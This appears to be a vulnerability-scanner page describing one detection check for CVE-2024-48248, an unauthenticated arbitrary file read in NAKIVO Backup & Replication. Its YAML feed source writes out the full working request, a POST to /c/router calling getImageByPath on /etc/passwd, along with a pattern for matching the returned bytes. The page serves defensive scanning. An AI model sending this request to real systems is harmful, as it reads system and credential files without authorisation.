NAKIVO — 1 vulnerability check

noctis ships 1 vulnerability check for NAKIVO, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

NAKIVO Backup & Replication Arbitrary File Read via getImageByPath

CVECVE-2024-48248
Severityhigh · CVSS 8.6
Categoryfile-read — File read
Serviceshttp, https
Detectionhttp_request, match · highest QoD 75
Feedtests/vulnerabilities/nakivo/CVE-2024-48248.yaml

Detects CVE-2024-48248 by posting an unauthenticated getImageByPath RPC call to /c/router and confirming /etc/passwd content returned as ASCII byte array.

How noctis detects it

  1. HTTP(S) request POST /c/router with a crafted body
  2. Checks resp.body for 114,111,111,116,58,.*,58,48,58,48,58 → finding QoD 75: Arbitrary file read confirmed — /etc/passwd returned as byte array via unauthenticated getImageByPath: …

References:

Feed source — tests/vulnerabilities/nakivo/CVE-2024-48248.yaml
uid: 9e78b908-0fb3-4822-94f6-896ac3ce79d2
name: "NAKIVO Backup & Replication Arbitrary File Read via getImageByPath"
description: "Detects CVE-2024-48248 by posting an unauthenticated getImageByPath RPC call to /c/router and confirming /etc/passwd content returned as ASCII byte array."
cves: [CVE-2024-48248]
cvss: 8.6
severity: high
category: file-read
confidence_base: 0.30
tags: [nakivo, backup, file-read, lfi, json-rpc, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2024-48248"
  - "https://labs.watchtowr.com/no-way-to-hide-nakivo-backup-replication-cve-2024-48248/"
  - "https://github.com/watchtowrlabs/CVE-2024-48248"

steps:
  - id: file-read
    action: http_request
    method: POST
    path: /c/router
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    headers:
      Content-Type: application/json
    body: '{"action":"STPreLoadManagement","method":"getImageByPath","data":["/etc/passwd"],"type":"rpc","tid":1}'
    store_as: resp

  - id: match-bytes
    action: match
    source: resp.body
    pattern: "114,111,111,116,58,.*,58,48,58,48,58"
    condition: "resp.status == 200"
    on_match:
      finding:
        confidence_delta: 0.62
        qod: 75
        evidence: "Arbitrary file read confirmed — /etc/passwd returned as byte array via unauthenticated getImageByPath: {{resp.body}}"

View these feeds on GitHub